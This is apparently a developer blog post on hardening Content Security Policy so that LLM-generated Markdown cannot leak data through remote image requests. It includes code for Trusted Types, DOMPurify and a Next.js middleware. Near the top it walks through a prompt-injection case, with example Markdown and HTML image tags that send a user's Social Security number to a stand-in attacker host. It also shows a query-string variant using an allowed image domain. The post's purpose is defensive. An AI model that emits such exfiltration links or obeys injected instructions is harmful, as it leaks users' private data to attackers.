loke.dev
Header image for The Markdown Exfiltration Vector: Hardening Your CSP Against AI-Driven Data Leaks

The Markdown Exfiltration Vector: Hardening Your CSP Against AI-Driven Data Leaks

Markdown image rendering is a silent data-exfiltration vector in AI applications; here is how to use CSP level 3 to prevent sensitive data from leaking through remote image requests.

· 4 min read

Your fancy new AI chatbot is essentially a high-speed data siphon, and you’re the one who built the pipeline. It sounds alarmist, but if you’re rendering Markdown from an LLM without a bulletproof Content Security Policy (CSP), you’re practically begging for a data exfiltration nightmare.

The vulnerability is stupidly simple: LLMs are designed to be helpful, and they love Markdown. If an attacker manages to inject a prompt—or if the model just gets a little too creative with its output—it can generate an image tag that sends sensitive user data straight to a remote server.

The "Invisible" Image Attack

Here is how the trick works. Imagine you’ve built a tool that summarizes a user's private documents. An attacker seeds a document with a malicious instruction. When the AI processes it, the AI generates this:

Here is your summary! 
![loading](https://attacker-collect.io/log?data=User+Social+Security+Number+is+123-456)

Your frontend receives that string, passes it through a standard Markdown library (like react-markdown or markdown-it), and the browser sees this:

<p>Here is your summary!</p>
<img src="https://attacker-collect.io/log?data=User+Social+Security+Number+is+123-456" alt="loading">

The second that HTML hits the DOM, the browser does what browsers do: it tries to fetch the image. Just like that, your private data is sitting in a 404 log on attacker-collect.io. No JavaScript required. No "hacking" the firewall. Just a simple GET request.

Why standard sanitization isn't enough

You might think, "I'll just sanitize the HTML!" Sure, you can strip <script> tags, but are you going to block images? Most AI apps *need* images to be useful. If you allow <img> tags but don't strictly control *where* they can load from, you’re still wide open.

This is where CSP Level 3 comes in. We need to tell the browser: "I only trust images from these specific places, and if the AI tries to talk to anyone else, shut it down."

Hardening the Policy

A lazy CSP like img-src * is effectively useless here. You need to be opinionated. If you're using a framework like Next.js or Express, you should be sending a header that looks like this:

Content-Security-Policy: 
  default-src 'self'; 
  img-src 'self' https://trusted-assets.com https://cdn.yourapp.com;
  script-src 'self';
  object-src 'none';
  upgrade-insecure-requests;

What’s happening here?
- default-src 'self': If I didn't explicitly allow it, don't do it.
- img-src 'self' ...: Only allow images from your own domain or a specific, trusted CDN.
- object-src 'none': This kills legacy plugins like Flash (thank god) which are just more holes to patch.

The "Trusted Types" Safety Net

If you want to go full paranoid (and in AI, you probably should), use Trusted Types. This is a CSP Level 3 feature that prevents you from accidentally passing "dirty" strings into dangerous sinks like innerHTML.

First, add it to your policy:

Content-Security-Policy: require-trusted-types-for 'script';

Then, in your JavaScript, create a policy that sanitizes the Markdown-turned-HTML before it touches the page:

import DOMPurify from 'dompurify';

// Create a policy that only allows sanitized HTML
const policy = window.trustedTypes.createPolicy('default', {
  createHTML: (string) => {
    return DOMPurify.sanitize(string, {
      ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'img'],
      ALLOWED_ATTR: ['src', 'alt']
    });
  }
});

const rawMarkdownHTML = renderMarkdown(aiResponse);
// This will throw an error if you try to set innerHTML with a raw string
document.getElementById('chat-output').innerHTML = policy.createHTML(rawMarkdownHTML);

Dealing with Dynamic Images (The Gotcha)

Sometimes you *do* want to show images from the web—maybe the AI is searching Unsplash for you. This is the tricky part. If you allow https://images.unsplash.com, an attacker can still exfiltrate data by appending it as a query string: https://images.unsplash.com/path?exfil=sensitive_data.

To stop this, you have a few options:

1. Proxy the images: Never let the client browser hit a third-party URL directly. Your server fetches the image, checks it, and serves it from your domain.
2. Strict Image CSP: If you must allow a domain, ensure it doesn't accept arbitrary query parameters in a way that logs them. (Hard to enforce on third parties).
3. The Blob approach: Use a fetch in your JS to get the image, verify the content type, and then create a URL.createObjectURL(blob). This lets you set your img-src to blob: only.

A Practical Next.js Implementation

If you're using Next.js, don't just shove this in a <meta> tag. Use the middleware.ts file to keep it consistent across the app.

import { NextResponse } from 'next/server';

export function middleware() {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  
  // Notice we avoid 'unsafe-inline'
  const cspHeader = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'unsafe-inline';
    img-src 'self' blob: data: https://your-approved-storage.s3.amazonaws.com;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  `.replace(/\s{2,}/g, ' ').trim();

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', cspHeader);
  return response;
}

Final Thoughts

We spend so much time worrying about the "brain" of the AI—red-teaming the prompts and checking for hallucinations—that we forget the most basic rule of web security: Never trust the output.

Markdown is a vector because it’s a bridge between a non-deterministic LLM and a very deterministic browser. If you don't use a strict CSP, that bridge is essentially a one-way street for your user's data to walk right out the front door. Lock it down.